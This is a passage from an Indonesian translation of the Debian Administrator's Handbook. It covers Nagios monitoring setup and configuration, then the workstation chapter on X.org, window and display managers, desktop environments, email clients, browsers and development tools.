Tidak seperti Munin, Nagios tidak selalu membutuhkan memasang apapun pada host yang dipantau; sebagian besar waktu, Nagios digunakan untuk memeriksa ketersediaan layanan jaringan. Sebagai contoh, Nagios dapat menyambung ke server web dan memeriksa bahwa suatu halaman web dapat diperoleh dalam selang waktu tertentu.

12.4.2.1. Memasang

Langkah pertama dalam menyiapkan Nagios adalah menginstal paket nagios4 dan monitoring-plugins. Menginstal paket mengkonfigurasi antarmuka web dan server Apache. Modul Apache authz_groupfile dan auth_digest harus diaktifkan, untuk itu jalankan:

# a2enmod authz_groupfile

Considering dependency authz_core for authz_groupfile:

Module authz_core already enabled

Enabling module authz_groupfile.

To activate the new configuration, you need to run:

systemctl restart apache2

# a2enmod auth_digest

Considering dependency authn_core for auth_digest:

Module authn_core already enabled

Enabling module auth_digest.

To activate the new configuration, you need to run:

systemctl restart apache2

# systemctl restart apache2

Menambahkan pengguna lain cukup dengan memasukkannya ke dalam berkas /etc/nagios4/hdigest.users.

Mengarahkan peramban ke http://server/nagios4/ menampilkan antarmuka web; secara khusus, perhatikan bahwa Nagios sudah memantau beberapa parameter mesin tempat dia berjalan. Namun, beberapa fitur interaktif seperti menambahkan komentar ke host tidak bekerja. Fitur ini dinonaktifkan dalam konfigurasi default untuk Nagios, yang sangat ketat untuk alasan keamanan.

Memfungsikan beberapa fitur melibatkan mengedit /etc/nagios4/nagios.cfg. Kita juga perlu untuk mengatur izin menulis direktori yang digunakan oleh Nagios, dengan perintah seperti berikut:

# systemctl stop nagios4

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4

# systemctl start nagios4

12.4.2.2. Mengkonfigurasi

Antarmuka web Nagios agak bagus, tetapi tidak memungkinkan konfigurasi, dan tidak bisa digunakan untuk menambah host dan layanan yang dipantau. Seluruh konfigurasi diatur melalui berkas-berkas yang dirujuk dalam berkas konfigurasi pusat, /etc/nagios4/nagios.cfg.

Berkas-berkas ini tidak boleh diselami tanpa pemahaman konsep-konsep Nagios. Konfigurasi memuat daftar objek jenis berikut:

- suatu host adalah mesin yang akan dimonitor;

- suatu hostgroup adalah seperangkat host yang harus dikelompokkan menjadi satu untuk ditampilkan, atau untuk memfaktorkan beberapa elemen konfigurasi umum;

- suatu layanan adalah elemen yang dapat diuji terkait dengan host atau grup host. Paling sering akan berupa pengujian layanan jaringan, tetapi dapat juga melibatkan pemeriksaan bahwa beberapa parameter ada dalam rentang yang dapat diterima (misalnya, sisa ruang disk atau beban prosesor);

- suatu servicegroup adalah satu set layanan yang harus dikumpulkan bersama-sama untuk ditampilkan;

- suatu contact adalah orang yang dapat menerima pemberitahuan;

- suatu contactgroup adalah sekumpulan kontak tersebut;

- suatu timeperiod adalah rentang waktu saat beberapa layanan harus diperiksa;

- suatu command adalah baris perintah yang dipanggil untuk memeriksa layanan yang diberikan.

Sesuai dengan jenisnya, setiap objek memiliki sejumlah properti yang dapat disesuaikan. Daftar lengkap akan terlalu panjang untuk disertakan, tapi properti yang paling penting adalah hubungan antar objek tersebut.

Suatu service menggunakan command untuk memeriksa keadaan dari suatu fitur pada host (atau hostgroup) dalam timeperiod. Bila ada masalah, Nagios mengirimkan peringatan kepada semua anggota contactgroup yang terhubung ke layanan. Setiap anggota dikirim pesan peringatan menurut saluran yang dijelaskan dalam objek contact yang cocok.

Suatu sistem warisan memungkinkan berbagi dengan mudah satu set properti ke banyak objek tanpa menggandakan informasi. Selain itu, konfigurasi awal mencakup sejumlah objek standar; dalam banyak kasus, mendefinisikan host baru, layanan, dan kontak cukup dengan menurunkan dari objek generik yang disediakan. Berkas-berkas dalam /etc/nagios4/conf.d/ adalah sumber yang baik informasi tentang bagaimana mereka bekerja.

Para administrator Falcot Corp menggunakan konfigurasi berikut:

Contoh 12.3. berkas /etc/nagios4/conf.d/falcot.cfg

define contact{

name                            generic-contact

service_notification_period     24x7

host_notification_period        24x7

service_notification_options    w,u,c,r

host_notification_options       d,u,r

service_notification_commands   notify-service-by-email

host_notification_commands      notify-host-by-email

register                        0 ; Template only

}

define contact{

use             generic-contact

contact_name    rhertzog

alias           Raphael Hertzog

email           hertzog@debian.org

}

define contact{

use             generic-contact

contact_name    rmas

alias           Roland Mas

email           lolando@debian.org

}

define contactgroup{

contactgroup_name     falcot-admins

alias                 Falcot Administrators

members               rhertzog,rmas

}

define host{

use                   generic-host ; Name of host template to use

host_name             www-host

alias                 www.falcot.com

address               192.168.0.5

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

define host{

use                   generic-host ; Name of host template to use

host_name             ftp-host

alias                 ftp.falcot.com

address               192.168.0.6

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

# 'check_ftp' command with custom parameters

define command{

command_name          check_ftp2

command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Generic Falcot service

define service{

name                  falcot-service

use                   generic-service

contact_groups        falcot-admins

register              0

}

# Services to check on www-host

define service{

use                   falcot-service

host_name             www-host

service_description   HTTP

check_command         check_http

}

define service{

use                   falcot-service

host_name             www-host

service_description   HTTPS

check_command         check_https

}

define service{

use                   falcot-service

host_name             www-host

service_description   SMTP

check_command         check_smtp

}

# Services to check on ftp-host

define service{

use                   falcot-service

host_name             ftp-host

service_description   FTP

check_command         check_ftp2

}

Berkas konfigurasi ini menjelaskan dua host yang dipantau. Yang pertama adalah server web, dan pemeriksaan dibuat pada port HTTP (80) dan HTTP aman (443). Nagios juga memeriksa bahwa server SMTP berjalan pada port 25. Host kedua adalah server FTP, dan pemeriksaan termasuk memastikan bahwa jawaban datang dalam 20 detik. Penundaan lebih dari ini, peringatan disebarkan; lebih dari 30 detik, pesan waspada dianggap kritis. Antarmuka web Nagios juga menunjukkan bahwa layanan SSH dipantau: ini datang dari host milik hostgroup ssh-servers. Layanan standar yang cocok didefinisikan dalam /etc/nagios4/conf.d/services_nagios2.cfg.

Perhatikan penggunaan warisan: suatu objek dibuat untuk mewarisi dari objek lain dengan "menggunakan nama orang tua". Objek induk harus dapat diidentifikasi, yang memerlukan memberikan sebuah properti "nama pengenal". Jika objek induk tidak dimaksudkan untuk menjadi sebuah objek yang nyata, tetapi hanya untuk melayani sebagai orang tua, memberinya sebuah properti "register 0" memberitahu Nagios untuk tidak untuk mempertimbangkan itu, dan karena itu untuk mengabaikan kekurangan beberapa parameter yang bila tidak demikian akan diperlukan.

DOKUMENTASI Daftar properti obyek

Pemahaman yang lebih mendalam dari berbagai cara di mana Nagios dapat dikonfigurasi dapat diperoleh dari dokumentasi yang ada di https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/index.html. Ini mencakup daftar semua jenis objek, dengan semua properti yang dapat mereka miliki. Ini juga menjelaskan bagaimana membuat plugin baru.

LEBIH JAUH Uji jarak jauh dengan NRPE

Banyak plugin Nagios yang memungkinkan memeriksa beberapa parameter lokal ke host; jika banyak mesin memerlukan pemeriksaan sementara suatu instalasi pusat mengumpulkan mereka, plugin NRPE (Nagios Remote Plugin Executor) perlu digelar. Paket nagios-nrpe-plugin perlu dipasang pada server Nagios, dan nagios-nrpe-server pada host tempat tes lokal perlu dijalankan. Yang terakhir mendapat konfigurasinya dari /etc/nagios/nrpe.cfg. Berkas ini harus memuat daftar tes yang dapat dimulai dari jarak jauh, dan alamat IP dari mesin-mesin yang diperbolehkan untuk memicu mereka. Di sisi Nagios, memfungsikan tes jarak jauh ini cukup dengan menambahkan layanan yang cocok menggunakan perintah baru check_nrpe.

[4]

→ http://gallery.munin-monitoring.org

Bab 13. Workstation

Sekarang penyebaran server telah selesai, administrator dapat fokus pada instalasi workstation secara individu dan membuat konfigurasi yang khas.

13.1. Menata Server X11

Pengingat singkat: X.org merupakan komponen perangkat lunak yang memungkinkan aplikasi grafis untuk menampilkan jendela pada layar. Ini termasuk driver yang membuat efisien penggunaan kartu video. Fitur yang ditawarkan untuk aplikasi grafis diekspor melalui sebuah antarmuka standar, X11 (Buster memuat versi X11R7.7).

PERSPEKTIF X11, XFree86, dan X.org

X11 adalah sistem grafis yang paling banyak digunakan pada sistem Unix-like (juga tersedia untuk Windows dan Mac OS). Tegasnya, istilah "X11" hanya merujuk pada sebuah spesifikasi protokol, tetapi juga digunakan untuk merujuk pada penerapan dalam praktek.

X11 memiliki awal yang berat, namun pada tahun 1990-an melihat XFree86 muncul sebagai implementasi referensi karena itu adalah perangkat lunak bebas, portabel, dan dipelihara oleh komunitas secara kolaboratif. Namun, tingkat evolusi melambat mendekati akhir ketika perangkat lunak hanya memperoleh driver baru. Situasi itu, bersama dengan perubahan lisensi sangat kontroversial, menyebabkan fork X.org pada tahun 2004. Sekarang ini adalah implementasi referensi, dan Debian Buster menggunakan X.org versi 7.7.

Versi saat ini X.org mampu otomatis mendeteksi perangkat keras yang tersedia: hal ini berlaku untuk kartu video dan monitor, maupun papan ketik dan tetikus; pada kenyataannya, hal ini sangat memudahkan karena paket tidak lagi menciptakan berkas konfigurasi /etc/X11/xorg.conf.

Konfigurasi keyboard telah diatur di /etc/default/keyboard. Berkas ini digunakan dengan baik untuk mengkonfigurasi konsol teks dan antarmuka grafis, dan ditangani oleh paket keyboard-configuration. Rincian konfigurasi keyboard layout tersedia di Bagian 8.1.2, “Mengatur Papan ketik”.

Paket xserver-xorg-core menyediakan X server umum , seperti yang digunakan oleh versi 7.x X.org. Server ini bersifat modular dan menggunakan satu set independen driver untuk menangani banyak jenis kartu video. Menginstal xserver-xorg akan memastikan bahwa server dan setidaknya satu driver video telah diinstal.

Perhatikan bahwa jika kartu video yang terdeteksi tidak ditangani oleh salah satu driver yang tersedia, X.org mencoba menggunakan driver vesa dan fbdev. VESA adalah driver generik yang harus bekerja di mana-mana, tetapi dengan kemampuan terbatas (lebih sedikit resolusi yang tersedia, tidak ada akselerasi perangkat keras untuk permainan dan efek visual untuk desktop, dan sebagainya) sementara fbdev bekerja di atas perangkat framebuffer kernel. Kini server X dapat berjalan tanpa hak administratif khusus (biasanya ini diperlukan agar dapat mengonfigurasi layar) dan berkas lognya kemudian disimpan dalam direktori rumah pengguna dalam ~/.local/share/xorg/Xorg.0.log, sementara /var/log/Xorg.0.log adalah untuk server X yang dimulai dengan hak root dan untuk versi lebih tua dari Debian 9 Stretch. Berkas log itu adalah tempat dimana seseorang akan mencari untuk mengetahui driver apa yang sedang digunakan. Sebagai contoh, potongan berikut cocok dengan apa yang dikeluarkan oleh driver intel ketika dimuat:

(==) Matched intel as autoconfigured driver 0

(==) Matched modesetting as autoconfigured driver 1

(==) Matched vesa as autoconfigured driver 2

(==) Matched fbdev as autoconfigured driver 3

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

EKSTRA Driver proprietari

Beberapa pembuat kartu video (terutama NVIDIA) menolak untuk menerbitkan spesifikasi perangkat keras yang akan diperlukan untuk mengimplementasi driver baik yang bebas. Namun mereka menyediakan driver proprietari yang memungkinkan menggunakan perangkat keras mereka. Kebijakan ini jahat, karena bahkan ketika driver yang disediakan ada, biasanya tidak sebagai dipoles seperti seharusnya; lebih penting lagi, itu tidak selalu mengikuti pembaruan X.org, yang dapat mencegah driver terbaru yang tersedia untuk dimuat dengan benar (atau sama sekali). Kami tidak memaafkan perilaku ini, dan kami menyarankan Anda menghindari para pembuat ini dan mendukung para produsen yang lebih kooperatif.

Bila Anda masih berurusan dengan kartu seperti itu, Anda akan temukan paket-paket yang diperlukan dalam bagian non-free: nvidia-driver untuk kartu-kartu NVIDIA. Itu memerlukan modul kernel yang cocok. Membangun modul ini dapat diotomasi dengan memasang paket nvidia-kernel-dkms (untuk NVIDIA).

Proyek "nouveau" bertujuan mengembangkan suatu driver perangkat lunak bebas untuk kartu-kartu NVIDIA dan menjadi driver baku yang Anda dapatkan untuk kartu-kartu itu dalam Debian. Secara umum, set fiturnya tidak selengkap driver proprietari. Untuk membela para pengembang, kami mesti mengungkap bahwa informasi yang diperlukan hanya dapat dikumpulkan dengan reverse engineering, yang membuat jadi sulit. Driver bebas untuk kartu video ATI, bernama "radeon" dan "amdgpu", jauh lebih baik dalam hal itu walaupun seringkali memerlukan firmware yang tidak bebas dari paket firmware-amd-graphics.

13.2. Mengubahsuai Antar Muka Grafis

13.2.1. Memilih suatu Manajer Tampilan

Antarmuka grafis hanya menyediakan ruang tampil. Menjalankan X server sendiri hanya mengarah ke layar kosong, itulah sebabnya sebagian instalasi menggunakan manajer tampilan untuk menampilkan layar otentikasi pengguna dan memulai desktop grafis setelah pengguna telah dikonfirmasi. Tiga manajer tampilan paling populer digunakan saat ini adalah gdm3 (GNOME Display Manager), sddm (disarankan untuk KDE Plasma), dan lightdm (Light Display Manager). Karena para administrator Falcot Corp telah memilih untuk menggunakan lingkungan desktop GNOME, mereka secara logis juga memilih gdm3 sebagai manajer tampilan. Berkas konfigurasi /etc/gdm3/daemon.conf memiliki banyak pilihan (daftar dapat ditemukan dalam berkas skema /usr/share/gdm/gdm.schemas) untuk mengontrol perilaku sedangkan /etc/gdm3/greeter.dconf-defaults berisi pengaturan untuk "session" (lebih dari sekedar sebuah jendela login, ini adalah desktop yang terbatas dengan manajemen daya dan peralatan terkait aksesibilitas). Perhatikan bahwa beberapa pengaturan paling berguna untuk pengguna dapat di-tweak dengan pusat kendali GNOME.

13.2.2. Memilih suatu Manajer Jendela

Karena setiap desktop grafis menyediakan window manager sendiri, window manager mana yang Anda pilih biasanya dipengaruhi oleh desktop mana yang telah Anda pilih. GNOME menggunakan window manager mutter, Plasma menggunakan kwin, dan Xfce (yang kita hadirkan nanti) memiliki xfwm. Filosofi Unix selalu memungkinkan menggunakan window manager pilihan seseorang, namun mengikuti rekomendasi tersebut memungkinkan administrator untuk memanfaatkan secara terbaik upaya integrasi yang dipimpin oleh setiap proyek.

KEMBALI KE DASAR Manajer jendela

Manajer jendela menampilkan "dekorasi" di sekitar jendela milik aplikasi yang sedang berjalan, yang termasuk bingkai dan bilah judul. Hal ini juga memungkinkan mengurangi, memulihkan, memaksimalkan, dan menyembunyikan jendela. Kebanyakan manajer jendela juga menyediakan menu yang muncul saat desktop diklik dengan cara tertentu. Menu ini menyediakan sarana untuk menutup sesi manajer jendela, memulai aplikasi baru, dan dalam beberapa kasus, mengubah ke manajer jendela lain (jika terpasang).

Namun komputer-komputer lama mungkin mengalami kesulitan menjalankan lingkungan-lingkungan desktop grafis kelas berat. Dalam kasus-kasus ini, konfigurasi yang lebih ringanlah yang mesti digunakan. Manajer jendela yang “Ringan” (atau ber-footprint kecil) termasuk WindowMaker (dalam paket wmaker), Afterstep, fvwm, icewm, blackbox, fluxbox, atau openbox. Dalam kasus-kasus ini, sistem harus dikonfigurasi sehingga manajer jendela yang sesuai memperoleh prioritas; cara standar adalah dengan mengubah alternatif x-window-manager dengan perintah update-alternatives --config x-window-manager.

KHAS DEBIAN Alternatif

Kebijakan Debian mencantumkan sejumlah perintah standar yang dapat melakukan tindakan tertentu. Misalnya, perintah x-window-manager memanggil window manager. Tapi Debian tidak menugaskan perintah ini ke window manager yang tetap. Administrator dapat memilih manajer mana yang harus dijalankannya.

Untuk setiap window manager, paket yang relevan dengan demikian mencatat perintah yang sesuai sebagai pilihan yang mungkin bagi x-window-manager bersama dengan prioritas terkait. Membatasi konfigurasi eksplisit oleh administrator, prioritas ini memungkinkan memilih manajer jendela terinstal terbaik saat perintah generik dijalankan.

Pendaftaran perintah dan konfigurasi eksplisit melibatkan skrip update-alternatives. Memilih suatu perintah simbolis mengacu ke mana cukup dengan menjalankan update-alternatives —config perintah-simbolis. Skrip update-alternatives menciptakan (dan mempertahankan) taut simbolik dalam direktori /etc/alternatives/, yang pada gilirannya mengacu lokasi executable. Dengan berjalannya waktu, paket-paket dipasang atau dihapus, dan/atau administrator membuat perubahan eksplisit atas konfigurasi. Ketika sebuah paket yang menyediakan alternatif dihapus, alternatif secara otomatis berpindah ke pilihan terbaik berikutnya antara perintah-perintah yang tersisa.

Tidak semua perintah simbolis secara eksplisit dicantumkan oleh kebijakan Debian; beberapa pengelola paket Debian dengan sengaja memilih untuk menggunakan mekanisme ini dalam kasus yang kurang jelas dimana masih membawa fleksibilitas yang menarik (contoh termasuk x-www-browser, www-browser, cc, c++, awk, dan seterusnya).

13.2.3. Manajemen Menu

Lingkungan desktop modern dan banyak window manager menyediakan menu berisi daftar aplikasi yang tersedia bagi pengguna. Agar menu tetap mutakhir terkait dengan rangkaian aplikasi yang ada, setiap paket biasanya menyediakan sebuah berkas .Desktop dalam /usr/share/applications. Format berkas-berkas tersebut telah distandarisasi oleh FreeDesktop.org:

→ https://standards.freedesktop.org/desktop-entry-spec/latest/

Menu aplikasi dapat disesuaikan lebih lanjut oleh administrator melalui berkas konfigurasi keseluruhan sistem seperti yang dijelaskan oleh "Spesifikasi Menu Desktop". Pengguna akhir juga dapat menyesuaikan menu dengan alat grafis seperti kmenuedit (di Plasma), alacarte (di GNOME), atau menulibre.

→ https://standards.freedesktop.org/menu-spec/latest/

SEJARAH Sistem menu Debian

Secara historis — jauh sebelum standar FreeDesktop.org muncul — Debian telah menemukan sistem menunya sendiri dimana setiap paket memberikan deskripsi umum tentang entri menu yang diinginkan di /usr/share/menu/. Alat ini masih tersedia di Debian (dalam menu paket) tapi hanya sedikit berguna karena pengelola paket dianjurkan untuk mengandalkan berkas .Desktop sebagai pengganti.

13.3. Desktop Grafis

Bidang desktop grafis bebas didominasi oleh dua koleksi perangkat lunak besar: GNOME dan Plasma dari KDE. Keduanya sangat populer. Ini agak jarang terjadi di dunia perangkat lunak bebas; server web Apache, misalnya, hanya memiliki sedikit yang setara.

Keanekaragaman ini berakar pada sejarah. Plasma (awalnya hanya KDE, yang kini menjadi nama komunitas) adalah proyek desktop grafis pertama, namun memilih toolkit grafis Qt dan pilihan itu tidak dapat diterima oleh sejumlah besar pengembang. Qt bukan perangkat lunak bebas saat itu, dan GNOME dimulai berdasarkan toolkit GTK+. Qt menjadi perangkat lunak bebas belakangan, namun proyek-proyek masih berkembang secara paralel.

Komunitas GNOME dan KDE masih bekerja sama: di bawah payung FreeDesktop.org, kedua proyek berkolaborasi dalam menentukan standar untuk interoperabilitas di seluruh aplikasi.

Memilih desktop grafis “terbaik” adalah topik sensitif yang ingin kita hindari. Kami hanya akan menjelaskan banyak kemungkinan dan memberi beberapa petunjuk untuk pemikiran lebih lanjut. Pilihan terbaik adalah pilihan yang Anda buat setelah melakukan eksperimen.

13.3.1. GNOME

Debian Buster menyertakan GNOME versi 3.30, yang bisa dipasang dengan sekadar apt install gnome (bisa juga diinstal dengan memilih task “Lingkungan desktop Debian").

GNOME patut dicatat atas upayanya dalam usabilitas dan aksesibilitas. Desainer profesional telah terlibat dalam penulisan standar dan rekomendasi, yang telah membantu para pengembang untuk menciptakan antarmuka pengguna grafis yang memuaskan. Proyek ini juga mendapat dorongan dari para pemain besar komputasi, seperti Intel, IBM, Oracle, Novell, dan tentu saja, berbagai distribusi Linux. Akhirnya, banyak bahasa pemrograman dapat digunakan dalam mengembangkan aplikasi yang berinteraksi dengan GNOME.

Gambar 13.1. Desktop GNOME

Untuk administrator, GNOME tampaknya lebih siap untuk penggelaran besar-besaran. Konfigurasi aplikasi ditangani melalui antarmuka GSettings dan menyimpan data dalam basis data DConf. Maka pengaturan konfigurasi menjadi dapat diperiksa dan disunting dengan alat bantu baris perintah gsettings dan dconf, atau dengan antarmuka pengguna grafis dconf-editor. Administrator karena itu dapat mengubah konfigurasi pengguna dengan skrip sederhana. Situs web GNOME menyediakan informasi untuk memandu administrator yang bertugas mengelola workstation GNOME:

→ https://help.gnome.org/admin/

13.3.2. KDE dan Plasma

Debian Buster menyertakan versi 5.14 KDE Plasma, yang bisa diinstal dengan apt install kde-standard .

Plasma telah mengalami evolusi yang cepat berdasarkan pendekatan yang sangat langsung. Pengarangnya dengan cepat mendapat hasil yang sangat bagus, yang memungkinkan mereka mengembangkan basis pengguna yang besar. Faktor-faktor ini berkontribusi terhadap keseluruhan kualitas proyek. Plasma adalah lingkungan desktop yang matang dengan berragam aplikasi.

Gambar 13.2. Desktop Plasma

Sejak rilis Qt 4.0, masalah lisensi terakhir dengan perangkat lunak KDE telah dipecahkan. Versi ini dirilis di bawah GPL baik untuk Linux dan Windows (versi Windows sebelumnya dirilis dengan lisensi tidak bebas). Aplikasi KDE terutama dikembangkan dengan menggunakan bahasa C++.

13.3.3. Xfce dan Lainnya

Xfce adalah desktop grafis sederhana dan ringan, yang cocok untuk komputer dengan sumber daya terbatas. Ini bisa dipasang dengan apt install xfce4. Seperti GNOME, Xfce didasarkan pada toolkit GTK+, dan beberapa komponen dipakai bersama di kedua desktop.

Tidak seperti GNOME dan Plasma, Xfce tidak bertujuan menjadi proyek yang luas. Di luar komponen dasar desktop modern (manajer berkas, manajer jendela, manajer sesi, panel untuk peluncur aplikasi, dan sebagainya), ini hanya menyediakan beberapa aplikasi spesifik: terminal, kalender (orage), penampil gambar, alat bakar CD/DVD, pemutar media (parole), kontrol volume suara, dan penyunting teks (mousepad).

→ https://xfce.org/

Gambar 13.3. Desktop Xfce

13.3.4. Lingkungan Desktop Lain

LXDE dan LXQt adalah dua lingkungan desktop yang berfokus pada aspek "ringan". Yang pertama berbasis GTK + sementara yang terakhir berbasis Qt. Mereka dapat diinstal dengan paket meta lxde dan lxqt .

→ https://lxde.org/

→ https://lxqt.org/

Cinnamon dan MATE keduanya dimulai ketika GNOME 3 menjauh dari paradigma desktop tradisional, melepaskan panel biasa dan menunya untuk mendukung shell berbasis pencarian yang baru. Yang pertama memperkenalkan kembali panel dengan mem-fork GNOME Shell dan yang terakhir adalah kelanjutan dari GNOME 2. Mereka dapat diinstal dengan paket meta cinnamon-desktop-environment dan mate-desktop-environment.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

13.4. Surel

13.4.1. Evolution

KOMUNITAS Paket-paket yang populer

Memasang paket popularity-contest memungkinkan berpartisipasi dalam survei otomatis yang menginformasikan proyek Debian tentang paket yang paling populer. Skrip dijalankan setiap minggu oleh cron yang mengirimkan daftar anonim dari paket yang terinstal (melalui HTTP atau surel) dan tanggal akses terakhir untuk berkas-berkas yang dikandungnya. Hal ini memungkinkan maintainer Debian tahu paket-paket mana yang paling sering dipasang, dan dari kelompok ini, seberapa sering mereka benar-benar digunakan.

Informasi ini sangat membantu proyek Debian. Ini digunakan untuk menentukan paket mana yang harus digunakan pada disk instalasi pertama. Data instalasi juga merupakan faktor penting yang digunakan untuk memutuskan apakah akan menghapus paket dengan sedikit pengguna dari distribusi. Kami anjurkan untuk menginstal [aket popularity-contest, dan berpartisipasi dalam survei.

Data yang dikumpulkan dipublikasikan setiap hari.

→ https://popcon.debian.org/

Statistik ini juga dapat membantu pengguna memilih antara dua paket yang sepertinya setara. Memilih paket yang lebih populer mungkin adalah pilihan yang lebih aman.

Evolution adalah klien surel GNOME dan dapat dipasang dengan apt install evolution. Itu lebih dari sekadar klien surel sederhana: itu juga menyediakan kalender, buku alamat, daftar tugas, dan sebuah aplikasi memo (catatan bentuk bebas). Komponen surel berisi sistem pengindeksan pesan yang kuat, dan memungkinkan penciptaan folder virtual yang didasarkan pada kueri pencarian pada semua pesan yang diarsipkan. Dengan kata lain, semua pesan disimpan dengan cara yang sama tetapi ditampilkan dalam organisasi berbasis folder, setiap folder berisi pesan yang sesuai dengan serangkaian kriteria penyaringan.

Gambar 13.4. Perangkat lunak surel Evolution

Ekstensi untuk Evolution memungkinkan integrasi dengan sistem surel Microsoft Exchange; paket yang diperlukan adalah evolution-ews[5].

13.4.2. KMail

Perangkat lunak surel KDE dapat diinstal dengan apt install kmail. KMail hanya menangani surel, tapi itu termasuk dalam keluarga perangkat lunak yang disebut KDE-PIM (kependekan dari Personal Information Manager/Manajer Informasi Pribadi) yang mencakup fitur-fitur seperti buku alamat, komponen kalender, dan sebagainya. KMail memiliki semua fitur yang diharapkan dari klien surel yang hebat.

Gambar 13.5. Perangkat lunak surel KMail

13.4.3. Thunderbird

Paket thunderbird menyediakan klien surel dari keluarga perangkat lunak Mozilla. Berbagai set pelokalan tersedia di paket-paket thunderbird-l10n-*; ekstensi enigmail menangani penyandian dan penandatanganan pesan, tapi ini tidak tersedia dalam semua bahasa.

Gambar 13.6. Perangkat lunak surel Thunderbird

[5] Paket evolution-ews bukan bagian dari Debian Buster. Itu dihapus selama proses rilis karena masalah keamanan. Tetapi pada saat penulisan, versi terbaru tersedia sebagai backport (lihat Bagian 6.1.2.4, “Backport Stable”).

13.5. Peramban Web

Epiphany, peramban web di keluarga GNOME menggunakan mesin tampilan WebKit yang dikembangkan oleh Apple untuk peramban Safari. Paket yang relevan adalah epiphany-browser.

Konqueror, tersedia dalam paket konqueror, adalah peramban web KDE (tetapi juga dapat mengambil peran manajer berkas). Ini menggunakan mesin perenderan KHTML khusus KDE; KHTML adalah mesin yang sangat baik, seperti yang disaksikan oleh fakta bahwa WebKit Apple didasarkan pada KHTML.

Pengguna yang tidak puas dengan salah satu di atas dapat menggunakan Firefox. Peramban ini, yang tersedia dalam paket firefox-esr, menggunakan perender Gecko dari proyek Mozilla, dengan antarmuka yang tipis dan dapat diperluas di atasnya.

Gambar 13.7. Peramban web Firefox

KOSAKATA Firefox ESR

Mozilla memiliki siklus rilis yang sangat cepat untuk Firefox. Rilis baru diterbitkan setiap enam hingga delapan minggu dan hanya versi terbaru yang didukung untuk masalah keamanan. Ini tidak cocok dengan semua jenis pengguna sehingga, setiap 10 siklus, mereka mempromosikan salah satu rilis mereka ke Extended Support Release (ESR) yang akan mendapatkan pembaruan keamanan (dan tidak ada perubahan fungsional) selama 10 siklus berikutnya (yang mencakup sedikit lebih dari setahun).

Debian memiliki kedua versi paket. ESR, dalam paket firefox-esr, digunakan secara default karena ini adalah satu-satunya versi yang cocok untuk Debian Stable dengan periode dukungannya yang lama (dan bahkan di sana Debian harus mengupgrade dari satu rilis ESR ke yang berikutnya untuk beberapa kali selama siklus hidup Debian Stable). Firefox biasa tersedia dalam paket firefox tetapi hanya tersedia untuk pengguna Debian Unstable.

KULTUR Iceweasel, Firefox, dan yang lain

Sebelum Debian Stretch, Firefox dan Thunderbird hilang. Paket iceweasel berisi Iceweasel, yang pada dasarnya adalah Firefox dengan nama lain.

Alasan di balik penggantian nama ini adalah akibat dari aturan penggunaan yang diberlakukan oleh Mozilla Foundation di merek dagang terdaftar Firefox™: perangkat lunak apapun yang bernama Firefox harus menggunakan logo dan ikon Firefox resmi. Namun, karena unsur-unsur ini tidak dirilis dengan lisensi bebas, Debian tidak dapat mendistribusikannya di bagian main. Alih-alih memindahkan keseluruhan peramban ke non-free, pengelola paket memilih untuk menggunakan nama yang berbeda.

Untuk alasan sejenis, klien surel Thunderbird™ diubah namanya menjadi Icedove dengan cara serupa.

Saat ini, logo dan ikon didistribusikan di bawah lisensi perangkat lunak bebas dan Mozilla mengakui bahwa perubahan yang dibuat oleh proyek Debian menghormati lisensi merek dagang mereka sehingga Debian kembali dapat mengirimkan aplikasi Mozilla dengan nama resmi mereka.

KULTUR Mozilla

Netscape Navigator adalah peramban standar ketika web mulai mencapai massa, tapi kehilangan pijakan ketika Microsoft menggabungkan Internet Explorer dengan Windows dan menandatangani kontrak dengan para pabrikan komputer yang melarang mereka melakukan pra-instalasi Netscape Navigator. Menghadapi kegagalan ini, Netscape (perusahaan) memutuskan untuk “membebaskan” kode sumbernya, dengan melepaskannya di bawah lisensi bebas, untuk memberikan sebuah kehidupan kedua. Ini adalah permulaan proyek Mozilla. Setelah bertahun-tahun pengembangan, hasilnya lebih dari memuaskan: proyek Mozilla melahirkan mesin perenderan HTML (disebut Gecko) yang merupakan salah satu dari yang paling patuh standar. Mesin perenderan ini khususnya digunakan oleh peramban Mozilla Firefox, yang merupakan salah satu peramban utama.

Terakhir, Debian juga mempunyai peramban web Chromium (tersedia dalam paket chromium). Peramban ini dikembangkan oleh Google dan telah menjadi peramban paling populer hanya dalam beberapa tahun. Tujuan jelasnya adalah untuk membuat layanan web lebih menarik, baik dengan mengoptimalkan kinerja peramban dan dengan meningkatkan keamanan pengguna. Kode bebas yang mentenagai Chromium juga digunakan oleh versi proprietari yang disebut Google Chrome™.

13.6. Pengembangan

13.6.1. Perkakas untuk GTK+ pada GNOME

Anjuta (dalam paket anjuta) dan GNOME Builder (dalam paket gnome-builder) adalah sebuah Lingkungan Pengembangan Terintegrasi (IDE, Integrated Development Environment) yang dioptimalkan untuk membuat aplikasi-aplikasi GTK+ untuk GNOME. Glade (dalam paket glade) adalah sebuah aplikasi yang dirancang untuk membuat antarmuka grafis GTK+ untuk GNOME dan menyimpannya dalam sebuah berkas XML. Berkas-berkas XML ini kemudian dapat dimuat oleh pustaka bersama GTK+ melalui komponen GtkBuilder untuk secara dinamis menciptakan ulang antarmuka yang disimpan; fitur tersebut bisa menarik, misalnya untuk plugin yang memerlukan dialog.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Alat untuk Qt

Aplikasi yang setara untuk aplikasi Qt adalah KDevelop dari KDE (dalam paket kdevelop) untuk lingkungan pengembangan, dan Qt Designer (dalam paket qttools5-dev-tools) untuk desain antarmuka grafis bagi aplikasi-aplikasi Qt.

KDevelop juga merupakan IDE umum dan menyediakan plugin untuk bahasa lain seperti Python dan PHP dan sistem build yang berbeda.

13.7. Kerja Kolaborasi

13.7.1. Bekerja dalam Grup: groupware

